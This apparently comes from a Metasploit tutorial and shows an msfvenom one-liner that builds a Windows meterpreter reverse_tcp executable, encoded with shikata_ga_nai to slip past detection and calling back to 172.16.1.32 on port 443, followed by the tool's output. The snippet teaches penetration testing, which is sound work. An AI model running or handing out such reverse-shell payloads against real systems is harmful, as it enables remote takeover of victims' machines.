Metasploit

MSFvenom

Leverage msfvenom, an all-in-one suite, to create and encode your payload:

msfvenom --payload
windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai
   LHOST=172.16.1.32 LPORT=443 > msf.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
root@bt://opt/framework3/msf3#

This one liner will create a payload and automatically generate it in an executable format.